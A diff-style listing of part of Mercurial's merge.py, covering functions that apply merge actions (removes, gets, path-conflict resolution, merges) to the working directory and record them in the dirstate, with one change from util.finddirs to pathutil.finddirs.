1605 1606 # If there are gets and they all agree [how could they not?], do it.
1606 1607 if ACTION_GET in bids:
1607 1608 ga0 = bids[ACTION_GET][0]
1608 1609 if all(a == ga0 for a in bids[ACTION_GET][1:]):
1609 1610 repo.ui.note(_(b" %s: picking 'get' action\n") % f)
1610 1611 actions[f] = ga0
1611 1612 continue
1612 1613 # TODO: Consider other simple actions such as mode changes
1613 1614 # Handle inefficient democrazy.
1614 1615 repo.ui.note(_(b' %s: multiple bids for merge action:\n') % f)
1615 1616 for m, l in sorted(bids.items()):
1616 1617 for _f, args, msg in l:
1617 1618 repo.ui.note(b' %s -> %s\n' % (msg, m))
1618 1619 # Pick random action. TODO: Instead, prompt user when resolving
1619 1620 m, l = list(bids.items())[0]
1620 1621 repo.ui.warn(
1621 1622 _(b' %s: ambiguous merge - picked %s action\n') % (f, m)
1622 1623 )
1623 1624 actions[f] = l[0]
1624 1625 continue
1625 1626 repo.ui.note(_(b'end of auction\n\n'))
1626 1627
1627 1628 if wctx.rev() is None:
1628 1629 fractions = _forgetremoved(wctx, mctx, branchmerge)
1629 1630 actions.update(fractions)
1630 1631
1631 1632 prunedactions = sparse.filterupdatesactions(
1632 1633 repo, wctx, mctx, branchmerge, actions
1633 1634 )
1634 1635 _resolvetrivial(repo, wctx, mctx, ancestors[0], actions)
1635 1636
1636 1637 return prunedactions, diverge, renamedelete
1637 1638
1638 1639
1639 1640 def _getcwd():
1640 1641 try:
1641 1642 return encoding.getcwd()
1642 1643 except OSError as err:
1643 1644 if err.errno == errno.ENOENT:
1644 1645 return None
1645 1646 raise
1646 1647
1647 1648
1648 1649 def batchremove(repo, wctx, actions):
1649 1650 """apply removes to the working directory
1650 1651
1651 1652 yields tuples for progress updates
1652 1653 """
1653 1654 verbose = repo.ui.verbose
1654 1655 cwd = _getcwd()
1655 1656 i = 0
1656 1657 for f, args, msg in actions:
1657 1658 repo.ui.debug(b" %s: %s -> r\n" % (f, msg))
1658 1659 if verbose:
1659 1660 repo.ui.note(_(b"removing %s\n") % f)
1660 1661 wctx[f].audit()
1661 1662 try:
1662 1663 wctx[f].remove(ignoremissing=True)
1663 1664 except OSError as inst:
1664 1665 repo.ui.warn(
1665 1666 _(b"update failed to remove %s: %s!\n") % (f, inst.strerror)
1666 1667 )
1667 1668 if i == 100:
1668 1669 yield i, f
1669 1670 i = 0
1670 1671 i += 1
1671 1672 if i > 0:
1672 1673 yield i, f
1673 1674
1674 1675 if cwd and not _getcwd():
1675 1676 # cwd was removed in the course of removing files; print a helpful
1676 1677 # warning.
1677 1678 repo.ui.warn(
1678 1679 _(
1679 1680 b"current directory was removed\n"
1680 1681 b"(consider changing to repo root: %s)\n"
1681 1682 )
1682 1683 % repo.root
1683 1684 )
1684 1685
1685 1686
1686 1687 def batchget(repo, mctx, wctx, wantfiledata, actions):
1687 1688 """apply gets to the working directory
1688 1689
1689 1690 mctx is the context to get from
1690 1691
1691 1692 Yields arbitrarily many (False, tuple) for progress updates, followed by
1692 1693 exactly one (True, filedata). When wantfiledata is false, filedata is an
1693 1694 empty dict. When wantfiledata is true, filedata[f] is a triple (mode, size,
1694 1695 mtime) of the file f written for each action.
1695 1696 """
1696 1697 filedata = {}
1697 1698 verbose = repo.ui.verbose
1698 1699 fctx = mctx.filectx
1699 1700 ui = repo.ui
1700 1701 i = 0
1701 1702 with repo.wvfs.backgroundclosing(ui, expectedcount=len(actions)):
1702 1703 for f, (flags, backup), msg in actions:
1703 1704 repo.ui.debug(b" %s: %s -> g\n" % (f, msg))
1704 1705 if verbose:
1705 1706 repo.ui.note(_(b"getting %s\n") % f)
1706 1707
1707 1708 if backup:
1708 1709 # If a file or directory exists with the same name, back that
1709 1710 # up. Otherwise, look to see if there is a file that conflicts
1710 1711 # with a directory this file is in, and if so, back that up.
1711 1712 conflicting = f
1712 1713 if not repo.wvfs.lexists(f):
1713 for p in util.finddirs(f):
1714 for p in pathutil.finddirs(f):
1714 1715 if repo.wvfs.isfileorlink(p):
1715 1716 conflicting = p
1716 1717 break
1717 1718 if repo.wvfs.lexists(conflicting):
1718 1719 orig = scmutil.backuppath(ui, repo, conflicting)
1719 1720 util.rename(repo.wjoin(conflicting), orig)
1720 1721 wfctx = wctx[f]
1721 1722 wfctx.clearunknown()
1722 1723 atomictemp = ui.configbool(b"experimental", b"update.atomic-file")
1723 1724 size = wfctx.write(
1724 1725 fctx(f).data(),
1725 1726 flags,
1726 1727 backgroundclose=True,
1727 1728 atomictemp=atomictemp,
1728 1729 )
1729 1730 if wantfiledata:
1730 1731 s = wfctx.lstat()
1731 1732 mode = s.st_mode
1732 1733 mtime = s[stat.ST_MTIME]
1733 1734 filedata[f] = (mode, size, mtime) # for dirstate.normal
1734 1735 if i == 100:
1735 1736 yield False, (i, f)
1736 1737 i = 0
1737 1738 i += 1
1738 1739 if i > 0:
1739 1740 yield False, (i, f)
1740 1741 yield True, filedata
1741 1742
1742 1743
1743 1744 def _prefetchfiles(repo, ctx, actions):
1744 1745 """Invoke ``scmutil.prefetchfiles()`` for the files relevant to the dict
1745 1746 of merge actions. ``ctx`` is the context being merged in."""
1746 1747
1747 1748 # Skipping 'a', 'am', 'f', 'r', 'dm', 'e', 'k', 'p' and 'pr', because they
1748 1749 # don't touch the context to be merged in. 'cd' is skipped, because
1749 1750 # changed/deleted never resolves to something from the remote side.
1750 1751 oplist = [
1751 1752 actions[a]
1752 1753 for a in (
1753 1754 ACTION_GET,
1754 1755 ACTION_DELETED_CHANGED,
1755 1756 ACTION_LOCAL_DIR_RENAME_GET,
1756 1757 ACTION_MERGE,
1757 1758 )
1758 1759 ]
1759 1760 prefetch = scmutil.prefetchfiles
1760 1761 matchfiles = scmutil.matchfiles
1761 1762 prefetch(
1762 1763 repo,
1763 1764 [ctx.rev()],
1764 1765 matchfiles(repo, [f for sublist in oplist for f, args, msg in sublist]),
1765 1766 )
1766 1767
1767 1768
1768 1769 @attr.s(frozen=True)
1769 1770 class updateresult(object):
1770 1771 updatedcount = attr.ib()
1771 1772 mergedcount = attr.ib()
1772 1773 removedcount = attr.ib()
1773 1774 unresolvedcount = attr.ib()
1774 1775
1775 1776 def isempty(self):
1776 1777 return not (
1777 1778 self.updatedcount
1778 1779 or self.mergedcount
1779 1780 or self.removedcount
1780 1781 or self.unresolvedcount
1781 1782 )
1782 1783
1783 1784
1784 1785 def emptyactions():
1785 1786 """create an actions dict, to be populated and passed to applyupdates()"""
1786 1787 return dict(
1787 1788 (m, [])
1788 1789 for m in (
1789 1790 ACTION_ADD,
1790 1791 ACTION_ADD_MODIFIED,
1791 1792 ACTION_FORGET,
1792 1793 ACTION_GET,
1793 1794 ACTION_CHANGED_DELETED,
1794 1795 ACTION_DELETED_CHANGED,
1795 1796 ACTION_REMOVE,
1796 1797 ACTION_DIR_RENAME_MOVE_LOCAL,
1797 1798 ACTION_LOCAL_DIR_RENAME_GET,
1798 1799 ACTION_MERGE,
1799 1800 ACTION_EXEC,
1800 1801 ACTION_KEEP,
1801 1802 ACTION_PATH_CONFLICT,
1802 1803 ACTION_PATH_CONFLICT_RESOLVE,
1803 1804 )
1804 1805 )
1805 1806
1806 1807
1807 1808 def applyupdates(
1808 1809 repo, actions, wctx, mctx, overwrite, wantfiledata, labels=None
1809 1810 ):
1810 1811 """apply the merge action list to the working directory
1811 1812
1812 1813 wctx is the working copy context
1813 1814 mctx is the context to be merged into the working copy
1814 1815
1815 1816 Return a tuple of (counts, filedata), where counts is a tuple
1816 1817 (updated, merged, removed, unresolved) that describes how many
1817 1818 files were affected by the update, and filedata is as described in
1818 1819 batchget.
1819 1820 """
1820 1821
1821 1822 _prefetchfiles(repo, mctx, actions)
1822 1823
1823 1824 updated, merged, removed = 0, 0, 0
1824 1825 ms = mergestate.clean(repo, wctx.p1().node(), mctx.node(), labels)
1825 1826 moves = []
1826 1827 for m, l in actions.items():
1827 1828 l.sort()
1828 1829
1829 1830 # 'cd' and 'dc' actions are treated like other merge conflicts
1830 1831 mergeactions = sorted(actions[ACTION_CHANGED_DELETED])
1831 1832 mergeactions.extend(sorted(actions[ACTION_DELETED_CHANGED]))
1832 1833 mergeactions.extend(actions[ACTION_MERGE])
1833 1834 for f, args, msg in mergeactions:
1834 1835 f1, f2, fa, move, anc = args
1835 1836 if f == b'.hgsubstate': # merged internally
1836 1837 continue
1837 1838 if f1 is None:
1838 1839 fcl = filemerge.absentfilectx(wctx, fa)
1839 1840 else:
1840 1841 repo.ui.debug(b" preserving %s for resolve of %s\n" % (f1, f))
1841 1842 fcl = wctx[f1]
1842 1843 if f2 is None:
1843 1844 fco = filemerge.absentfilectx(mctx, fa)
1844 1845 else:
1845 1846 fco = mctx[f2]
1846 1847 actx = repo[anc]
1847 1848 if fa in actx:
1848 1849 fca = actx[fa]
1849 1850 else:
1850 1851 # TODO: move to absentfilectx
1851 1852 fca = repo.filectx(f1, fileid=nullrev)
1852 1853 ms.add(fcl, fco, fca, f)
1853 1854 if f1 != f and move:
1854 1855 moves.append(f1)
1855 1856
1856 1857 # remove renamed files after safely stored
1857 1858 for f in moves:
1858 1859 if wctx[f].lexists():
1859 1860 repo.ui.debug(b"removing %s\n" % f)
1860 1861 wctx[f].audit()
1861 1862 wctx[f].remove()
1862 1863
1863 1864 numupdates = sum(len(l) for m, l in actions.items() if m != ACTION_KEEP)
1864 1865 progress = repo.ui.makeprogress(
1865 1866 _(b'updating'), unit=_(b'files'), total=numupdates
1866 1867 )
1867 1868
1868 1869 if [a for a in actions[ACTION_REMOVE] if a[0] == b'.hgsubstate']:
1869 1870 subrepoutil.submerge(repo, wctx, mctx, wctx, overwrite, labels)
1870 1871
1871 1872 # record path conflicts
1872 1873 for f, args, msg in actions[ACTION_PATH_CONFLICT]:
1873 1874 f1, fo = args
1874 1875 s = repo.ui.status
1875 1876 s(
1876 1877 _(
1877 1878 b"%s: path conflict - a file or link has the same name as a "
1878 1879 b"directory\n"
1879 1880 )
1880 1881 % f
1881 1882 )
1882 1883 if fo == b'l':
1883 1884 s(_(b"the local file has been renamed to %s\n") % f1)
1884 1885 else:
1885 1886 s(_(b"the remote file has been renamed to %s\n") % f1)
1886 1887 s(_(b"resolve manually then use 'hg resolve --mark %s'\n") % f)
1887 1888 ms.addpath(f, f1, fo)
1888 1889 progress.increment(item=f)
1889 1890
1890 1891 # When merging in-memory, we can't support worker processes, so set the
1891 1892 # per-item cost at 0 in that case.
1892 1893 cost = 0 if wctx.isinmemory() else 0.001
1893 1894
1894 1895 # remove in parallel (must come before resolving path conflicts and getting)
1895 1896 prog = worker.worker(
1896 1897 repo.ui, cost, batchremove, (repo, wctx), actions[ACTION_REMOVE]
1897 1898 )
1898 1899 for i, item in prog:
1899 1900 progress.increment(step=i, item=item)
1900 1901 removed = len(actions[ACTION_REMOVE])
1901 1902
1902 1903 # resolve path conflicts (must come before getting)
1903 1904 for f, args, msg in actions[ACTION_PATH_CONFLICT_RESOLVE]:
1904 1905 repo.ui.debug(b" %s: %s -> pr\n" % (f, msg))
1905 1906 (f0,) = args
1906 1907 if wctx[f0].lexists():
1907 1908 repo.ui.note(_(b"moving %s to %s\n") % (f0, f))
1908 1909 wctx[f].audit()
1909 1910 wctx[f].write(wctx.filectx(f0).data(), wctx.filectx(f0).flags())
1910 1911 wctx[f0].remove()
1911 1912 progress.increment(item=f)
1912 1913
1913 1914 # get in parallel.
1914 1915 threadsafe = repo.ui.configbool(
1915 1916 b'experimental', b'worker.wdir-get-thread-safe'
1916 1917 )
1917 1918 prog = worker.worker(
1918 1919 repo.ui,
1919 1920 cost,
1920 1921 batchget,
1921 1922 (repo, mctx, wctx, wantfiledata),
1922 1923 actions[ACTION_GET],
1923 1924 threadsafe=threadsafe,
1924 1925 hasretval=True,
1925 1926 )
1926 1927 getfiledata = {}
1927 1928 for final, res in prog:
1928 1929 if final:
1929 1930 getfiledata = res
1930 1931 else:
1931 1932 i, item = res
1932 1933 progress.increment(step=i, item=item)
1933 1934 updated = len(actions[ACTION_GET])
1934 1935
1935 1936 if [a for a in actions[ACTION_GET] if a[0] == b'.hgsubstate']:
1936 1937 subrepoutil.submerge(repo, wctx, mctx, wctx, overwrite, labels)
1937 1938
1938 1939 # forget (manifest only, just log it) (must come first)
1939 1940 for f, args, msg in actions[ACTION_FORGET]:
1940 1941 repo.ui.debug(b" %s: %s -> f\n" % (f, msg))
1941 1942 progress.increment(item=f)
1942 1943
1943 1944 # re-add (manifest only, just log it)
1944 1945 for f, args, msg in actions[ACTION_ADD]:
1945 1946 repo.ui.debug(b" %s: %s -> a\n" % (f, msg))
1946 1947 progress.increment(item=f)
1947 1948
1948 1949 # re-add/mark as modified (manifest only, just log it)
1949 1950 for f, args, msg in actions[ACTION_ADD_MODIFIED]:
1950 1951 repo.ui.debug(b" %s: %s -> am\n" % (f, msg))
1951 1952 progress.increment(item=f)
1952 1953
1953 1954 # keep (noop, just log it)
1954 1955 for f, args, msg in actions[ACTION_KEEP]:
1955 1956 repo.ui.debug(b" %s: %s -> k\n" % (f, msg))
1956 1957 # no progress
1957 1958
1958 1959 # directory rename, move local
1959 1960 for f, args, msg in actions[ACTION_DIR_RENAME_MOVE_LOCAL]:
1960 1961 repo.ui.debug(b" %s: %s -> dm\n" % (f, msg))
1961 1962 progress.increment(item=f)
1962 1963 f0, flags = args
1963 1964 repo.ui.note(_(b"moving %s to %s\n") % (f0, f))
1964 1965 wctx[f].audit()
1965 1966 wctx[f].write(wctx.filectx(f0).data(), flags)
1966 1967 wctx[f0].remove()
1967 1968 updated += 1
1968 1969
1969 1970 # local directory rename, get
1970 1971 for f, args, msg in actions[ACTION_LOCAL_DIR_RENAME_GET]:
1971 1972 repo.ui.debug(b" %s: %s -> dg\n" % (f, msg))
1972 1973 progress.increment(item=f)
1973 1974 f0, flags = args
1974 1975 repo.ui.note(_(b"getting %s to %s\n") % (f0, f))
1975 1976 wctx[f].write(mctx.filectx(f0).data(), flags)
1976 1977 updated += 1
1977 1978
1978 1979 # exec
1979 1980 for f, args, msg in actions[ACTION_EXEC]:
1980 1981 repo.ui.debug(b" %s: %s -> e\n" % (f, msg))
1981 1982 progress.increment(item=f)
1982 1983 (flags,) = args
1983 1984 wctx[f].audit()
1984 1985 wctx[f].setflags(b'l' in flags, b'x' in flags)
1985 1986 updated += 1
1986 1987
1987 1988 # the ordering is important here -- ms.mergedriver will raise if the merge
1988 1989 # driver has changed, and we want to be able to bypass it when overwrite is
1989 1990 # True
1990 1991 usemergedriver = not overwrite and mergeactions and ms.mergedriver
1991 1992
1992 1993 if usemergedriver:
1993 1994 if wctx.isinmemory():
1994 1995 raise error.InMemoryMergeConflictsError(
1995 1996 b"in-memory merge does not support mergedriver"
1996 1997 )
1997 1998 ms.commit()
1998 1999 proceed = driverpreprocess(repo, ms, wctx, labels=labels)
1999 2000 # the driver might leave some files unresolved
2000 2001 unresolvedf = set(ms.unresolved())
2001 2002 if not proceed:
2002 2003 # XXX setting unresolved to at least 1 is a hack to make sure we
2003 2004 # error out
2004 2005 return updateresult(
2005 2006 updated, merged, removed, max(len(unresolvedf), 1)
2006 2007 )
2007 2008 newactions = []
2008 2009 for f, args, msg in mergeactions:
2009 2010 if f in unresolvedf:
2010 2011 newactions.append((f, args, msg))
2011 2012 mergeactions = newactions
2012 2013
2013 2014 try:
2014 2015 # premerge
2015 2016 tocomplete = []
2016 2017 for f, args, msg in mergeactions:
2017 2018 repo.ui.debug(b" %s: %s -> m (premerge)\n" % (f, msg))
2018 2019 progress.increment(item=f)
2019 2020 if f == b'.hgsubstate': # subrepo states need updating
2020 2021 subrepoutil.submerge(
2021 2022 repo, wctx, mctx, wctx.ancestor(mctx), overwrite, labels
2022 2023 )
2023 2024 continue
2024 2025 wctx[f].audit()
2025 2026 complete, r = ms.preresolve(f, wctx)
2026 2027 if not complete:
2027 2028 numupdates += 1
2028 2029 tocomplete.append((f, args, msg))
2029 2030
2030 2031 # merge
2031 2032 for f, args, msg in tocomplete:
2032 2033 repo.ui.debug(b" %s: %s -> m (merge)\n" % (f, msg))
2033 2034 progress.increment(item=f, total=numupdates)
2034 2035 ms.resolve(f, wctx)
2035 2036
2036 2037 finally:
2037 2038 ms.commit()
2038 2039
2039 2040 unresolved = ms.unresolvedcount()
2040 2041
2041 2042 if (
2042 2043 usemergedriver
2043 2044 and not unresolved
2044 2045 and ms.mdstate() != MERGE_DRIVER_STATE_SUCCESS
2045 2046 ):
2046 2047 if not driverconclude(repo, ms, wctx, labels=labels):
2047 2048 # XXX setting unresolved to at least 1 is a hack to make sure we
2048 2049 # error out
2049 2050 unresolved = max(unresolved, 1)
2050 2051
2051 2052 ms.commit()
2052 2053
2053 2054 msupdated, msmerged, msremoved = ms.counts()
2054 2055 updated += msupdated
2055 2056 merged += msmerged
2056 2057 removed += msremoved
2057 2058
2058 2059 extraactions = ms.actions()
2059 2060 if extraactions:
2060 2061 mfiles = set(a[0] for a in actions[ACTION_MERGE])
2061 2062 for k, acts in pycompat.iteritems(extraactions):
2062 2063 actions[k].extend(acts)
2063 2064 if k == ACTION_GET and wantfiledata:
2064 2065 # no filedata until mergestate is updated to provide it
2065 2066 for a in acts:
2066 2067 getfiledata[a[0]] = None
2067 2068 # Remove these files from actions[ACTION_MERGE] as well. This is
2068 2069 # important because in recordupdates, files in actions[ACTION_MERGE]
2069 2070 # are processed after files in other actions, and the merge driver
2070 2071 # might add files to those actions via extraactions above. This can
2071 2072 # lead to a file being recorded twice, with poor results. This is
2072 2073 # especially problematic for actions[ACTION_REMOVE] (currently only
2073 2074 # possible with the merge driver in the initial merge process;
2074 2075 # interrupted merges don't go through this flow).
2075 2076 #
2076 2077 # The real fix here is to have indexes by both file and action so
2077 2078 # that when the action for a file is changed it is automatically
2078 2079 # reflected in the other action lists. But that involves a more
2079 2080 # complex data structure, so this will do for now.
2080 2081 #
2081 2082 # We don't need to do the same operation for 'dc' and 'cd' because
2082 2083 # those lists aren't consulted again.
2083 2084 mfiles.difference_update(a[0] for a in acts)
2084 2085
2085 2086 actions[ACTION_MERGE] = [
2086 2087 a for a in actions[ACTION_MERGE] if a[0] in mfiles
2087 2088 ]
2088 2089
2089 2090 progress.complete()
2090 2091 assert len(getfiledata) == (len(actions[ACTION_GET]) if wantfiledata else 0)
2091 2092 return updateresult(updated, merged, removed, unresolved), getfiledata
2092 2093
2093 2094
2094 2095 def recordupdates(repo, actions, branchmerge, getfiledata):
2095 2096 b"record merge actions to the dirstate"
2096 2097 # remove (must come first)
2097 2098 for f, args, msg in actions.get(ACTION_REMOVE, []):
2098 2099 if branchmerge:
2099 2100 repo.dirstate.remove(f)
2100 2101 else:
2101 2102 repo.dirstate.drop(f)
2102 2103
2103 2104 # forget (must come first)
2104 2105 for f, args, msg in actions.get(ACTION_FORGET, []):
2105 2106 repo.dirstate.drop(f)
2106 2107
2107 2108 # resolve path conflicts
2108 2109 for f, args, msg in actions.get(ACTION_PATH_CONFLICT_RESOLVE, []):
2109 2110 (f0,) = args
2110 2111 origf0 = repo.dirstate.copied(f0) or f0
2111 2112 repo.dirstate.add(f)
2112 2113 repo.dirstate.copy(origf0, f)
2113 2114 if f0 == origf0:
2114 2115 repo.dirstate.remove(f0)
2115 2116 else:
2116 2117 repo.dirstate.drop(f0)
2117 2118
2118 2119 # re-add
2119 2120 for f, args, msg in actions.get(ACTION_ADD, []):
2120 2121 repo.dirstate.add(f)
2121 2122
2122 2123 # re-add/mark as modified
2123 2124 for f, args, msg in actions.get(ACTION_ADD_MODIFIED, []):
2124 2125 if branchmerge:
2125 2126 repo.dirstate.normallookup(f)
2126 2127 else:
2127 2128 repo.dirstate.add(f)
2128 2129
2129 2130 # exec change
2130 2131 for f, args, msg in actions.get(ACTION_EXEC, []):
2131 2132 repo.dirstate.normallookup(f)
2132 2133
2133 2134 # keep
2134 2135 for f, args, msg in actions.get(ACTION_KEEP, []):
2135 2136 pass
2136 2137
2137 2138 # get
2138 2139 for f, args, msg in actions.get(ACTION_GET, []):
2139 2140 if branchmerge:
2140 2141 repo.dirstate.otherparent(f)
2141 2142 else:
2142 2143 parentfiledata = getfiledata[f] if getfiledata else None
2143 2144 repo.dirstate.normal(f, parentfiledata=parentfiledata)
2144 2145
2145 2146 # merge
2146 2147 for f, args, msg in actions.get(ACTION_MERGE, []):
2147 2148 f1, f2, fa, move, anc = args
2148 2149 if branchmerge:
2149 2150 # We've done a branch merge, mark this file as merged
2150 2151 # so that we properly record the merger later
2151 2152 repo.dirstate.merge(f)
2152 2153 if f1 != f2: # copy/rename
2153 2154 if move:
2154 2155 repo.dirstate.remove(f1)
2155 2156 if f1 != f:
2156 2157 repo.dirstate.copy(f1, f)
2157 2158 else:
2158 2159 repo.dirstate.copy(f2, f)
2159 2160 else:
2160 2161 # We've update-merged a locally modified file, so
2161 2162 # we set the dirstate to emulate a normal checkout
2162 2163 # of that file some time in the past. Thus our
2163 2164 # merge will appear as a normal local file
2164 2165 # modification.
2165 2166 if f2 == f: # file not locally copied/moved
2166 2167 repo.dirstate.normallookup(f)
2167 2168 if move:
2168 2169 repo.dirstate.drop(f1)
2169 2170
2170 2171 # directory rename, move local
2171 2172 for f, args, msg in actions.get(ACTION_DIR_RENAME_MOVE_LOCAL, []):
2172 2173 f0, flag = args
2173 2174 if branchmerge:
2174 2175 repo.dirstate.add(f)
2175 2176 repo.dirstate.remove(f0)
2176 2177 repo.dirstate.copy(f0, f)
2177 2178 else:
2178 2179 repo.dirstate.normal(f)
2179 2180 repo.dirstate.drop(f0)
2180 2181
2181 2182 # directory rename, get
2182 2183 for f, args, msg in actions.get(ACTION_LOCAL_DIR_RENAME_GET, []):
2183 2184 f0, flag = args
2184 2185 if branchmerge:
2185 2186 repo.dirstate.add(f)
2186 2187 repo.dirstate.copy(f0, f)
2187 2188 else:
2188 2189 repo.dirstate.normal(f)
2189 2190
2190 2191
2191 2192 UPDATECHECK_ABORT = b'abort' # handled at higher layers
2192 2193 UPDATECHECK_NONE = b'none'
2193 2194 UPDATECHECK_LINEAR = b'linear'
2194 2195 UPDATECHECK_NO_CONFLICT = b'noconflict'
2195 2196
2196 2197
2197 2198 def update(
2198 2199 repo,
2199 2200 node,
2200 2201 branchmerge,
2201 2202 force,
2202 2203 ancestor=None,
2203 2204 mergeancestor=False,
2204 2205 labels=None,
2205 2206 matcher=None,
2206 2207 mergeforce=False,
2207 2208 updatecheck=None,
2208 2209 wc=None,
2209 2210 ):
2210 2211 """
2211 2212 Perform a merge between the working directory and the given node
2212 2213
2213 2214 node = the node to update to
2214 2215 branchmerge = whether to merge between branches
2215 2216 force = whether to force branch merging or file overwriting
2216 2217 matcher = a matcher to filter file lists (dirstate not updated)
2217 2218 mergeancestor = whether it is merging with an ancestor. If true,
2218 2219 we should accept the incoming changes for any prompts that occur.
2219 2220 If false, merging with an ancestor (fast-forward) is only allowed
2220 2221 between different named branches. This flag is used by rebase extension
2221 2222 as a temporary fix and should be avoided in general.
2222 2223 labels = labels to use for base, local and other
2223 2224 mergeforce = whether the merge was run with 'merge --force' (deprecated): if
2224 2225 this is True, then 'force' should be True as well.
2225 2226
2226 2227 The table below shows all the behaviors of the update command given the
2227 2228 -c/--check and -C/--clean or no options, whether the working directory is
2228 2229 dirty, whether a revision is specified, and the relationship of the parent
2229 2230 rev to the target rev (linear or not). Match from top first. The -n
2230 2231 option doesn't exist on the command line, but represents the
2231 2232 experimental.updatecheck=noconflict option.
2232 2233
2233 2234 This logic is tested by test-update-branches.t.
2234 2235
2235 2236 -c -C -n -m dirty rev linear | result
2236 2237 y y * * * * * | (1)
2237 2238 y * y * * * * | (1)
2238 2239 y * * y * * * | (1)
2239 2240 * y y * * * * | (1)
2240 2241 * y * y * * * | (1)
2241 2242 * * y y * * * | (1)
2242 2243 * * * * * n n | x
2243 2244 * * * * n * * | ok
2244 2245 n n n n y * y | merge
2245 2246 n n n n y y n | (2)
2246 2247 n n n y y * * | merge
2247 2248 n n y n y * * | merge if no conflict
2248 2249 n y n n y * * | discard
2249 2250 y n n n y * * | (3)
2250 2251
2251 2252 x = can't happen
2252 2253 * = don't-care
2253 2254 1 = incompatible options (checked in commands.py)
2254 2255 2 = abort: uncommitted changes (commit or update --clean to discard changes)
2255 2256 3 = abort: uncommitted changes (checked in commands.py)
2256 2257
2257 2258 The merge is performed inside ``wc``, a workingctx-like objects. It defaults
2258 2259 to repo[None] if None is passed.
2259 2260
2260 2261 Return the same tuple as applyupdates().
2261 2262 """
2262 2263 # Avoid cycle.
2263 2264 from . import sparse
2264 2265
2265 2266 # This function used to find the default destination if node was None, but
2266 2267 # that's now in destutil.py.
2267 2268 assert node is not None
2268 2269 if not branchmerge and not force:
2269 2270 # TODO: remove the default once all callers that pass branchmerge=False
2270 2271 # and force=False pass a value for updatecheck. We may want to allow
2271 2272 # updatecheck='abort' to better suppport some of these callers.
2272 2273 if updatecheck is None:
2273 2274 updatecheck = UPDATECHECK_LINEAR
2274 2275 if updatecheck not in (
2275 2276 UPDATECHECK_NONE,
2276 2277 UPDATECHECK_LINEAR,
2277 2278 UPDATECHECK_NO_CONFLICT,
2278 2279 ):
2279 2280 raise ValueError(
2280 2281 r'Invalid updatecheck %r (can accept %r)'
2281 2282 % (
2282 2283 updatecheck,
2283 2284 (
2284 2285 UPDATECHECK_NONE,
2285 2286 UPDATECHECK_LINEAR,
2286 2287 UPDATECHECK_NO_CONFLICT,
2287 2288 ),
2288 2289 )
2289 2290 )
2290 2291 # If we're doing a partial update, we need to skip updating
2291 2292 # the dirstate, so make a note of any partial-ness to the
2292 2293 # update here.
2293 2294 if matcher is None or matcher.always():
2294 2295 partial = False
2295 2296 else:
2296 2297 partial = True
2297 2298 with repo.wlock():
2298 2299 if wc is None:
2299 2300 wc = repo[None]
2300 2301 pl = wc.parents()
2301 2302 p1 = pl[0]
2302 2303 p2 = repo[node]
2303 2304 if ancestor is not None:
2304 2305 pas = [repo[ancestor]]
2305 2306 else:
2306 2307 if repo.ui.configlist(b'merge', b'preferancestor') == [b'*']:
2307 2308 cahs = repo.changelog.commonancestorsheads(p1.node(), p2.node())
2308 2309 pas = [repo[anc] for anc in (sorted(cahs) or [nullid])]
2309 2310 else:
2310 2311 pas = [p1.ancestor(p2, warn=branchmerge)]
2311 2312
2312 2313 fp1, fp2, xp1, xp2 = p1.node(), p2.node(), bytes(p1), bytes(p2)
2313 2314
2314 2315 overwrite = force and not branchmerge
2315 2316 ### check phase
2316 2317 if not overwrite:
2317 2318 if len(pl) > 1:
2318 2319 raise error.Abort(_(b"outstanding uncommitted merge"))
2319 2320 ms = mergestate.read(repo)
2320 2321 if list(ms.unresolved()):
2321 2322 raise error.Abort(
2322 2323 _(b"outstanding merge conflicts"),
2323 2324 hint=_(b"use 'hg resolve' to resolve"),
2324 2325 )
2325 2326 if branchmerge:
2326 2327 if pas == [p2]:
2327 2328 raise error.Abort(
2328 2329 _(
2329 2330 b"merging with a working directory ancestor"
2330 2331 b" has no effect"
2331 2332 )
2332 2333 )
2333 2334 elif pas == [p1]:
2334 2335 if not mergeancestor and wc.branch() == p2.branch():
2335 2336 raise error.Abort(
2336 2337 _(b"nothing to merge"),
2337 2338 hint=_(b"use 'hg update' or check 'hg heads'"),
2338 2339 )
2339 2340 if not force and (wc.files() or wc.deleted()):
2340 2341 raise error.Abort(
2341 2342 _(b"uncommitted changes"),
2342 2343 hint=_(b"use 'hg status' to list changes"),
2343 2344 )
2344 2345 if not wc.isinmemory():
2345 2346 for s in sorted(wc.substate):
2346 2347 wc.sub(s).bailifchanged()
2347 2348
2348 2349 elif not overwrite:
2349 2350 if p1 == p2: # no-op update
2350 2351 # call the hooks and exit early
2351 2352 repo.hook(b'preupdate', throw=True, parent1=xp2, parent2=b'')
2352 2353 repo.hook(b'update', parent1=xp2, parent2=b'', error=0)
2353 2354 return updateresult(0, 0, 0, 0)
2354 2355
2355 2356 if updatecheck == UPDATECHECK_LINEAR and pas not in (
2356 2357 [p1],
2357 2358 [p2],
2358 2359 ): # nonlinear
2359 2360 dirty = wc.dirty(missing=True)
2360 2361 if dirty:
2361 2362 # Branching is a bit strange to ensure we do the minimal
2362 2363 # amount of call to obsutil.foreground.
2363 2364 foreground = obsutil.foreground(repo, [p1.node()])
2364 2365 # note: the <node> variable contains a random identifier
2365 2366 if repo[node].node() in foreground:
2366 2367 pass # allow updating to successors
2367 2368 else:
2368 2369 msg = _(b"uncommitted changes")
2369 2370 hint = _(b"commit or update --clean to discard changes")
2370 2371 raise error.UpdateAbort(msg, hint=hint)
2371 2372 else:
2372 2373 # Allow jumping branches if clean and specific rev given
2373 2374 pass
2374 2375
2375 2376 if overwrite:
2376 2377 pas = [wc]
2377 2378 elif not branchmerge:
2378 2379 pas = [p1]
2379 2380
2380 2381 # deprecated config: merge.followcopies
2381 2382 followcopies = repo.ui.configbool(b'merge', b'followcopies')
2382 2383 if overwrite:
2383 2384 followcopies = False
2384 2385 elif not pas[0]:
2385 2386 followcopies = False
2386 2387 if not branchmerge and not wc.dirty(missing=True):
2387 2388 followcopies = False
2388 2389
2389 2390 ### calculate phase
2390 2391 actionbyfile, diverge, renamedelete = calculateupdates(
2391 2392 repo,
2392 2393 wc,
2393 2394 p2,
2394 2395 pas,
2395 2396 branchmerge,
2396 2397 force,
2397 2398 mergeancestor,
2398 2399 followcopies,
2399 2400 matcher=matcher,
2400 2401 mergeforce=mergeforce,
2401 2402 )
2402 2403
2403 2404 if updatecheck == UPDATECHECK_NO_CONFLICT:
2404 2405 for f, (m, args, msg) in pycompat.iteritems(actionbyfile):
2405 2406 if m not in (
2406 2407 ACTION_GET,
2407 2408 ACTION_KEEP,
2408 2409 ACTION_EXEC,
2409 2410 ACTION_REMOVE,
2410 2411 ACTION_PATH_CONFLICT_RESOLVE,
2411 2412 ):
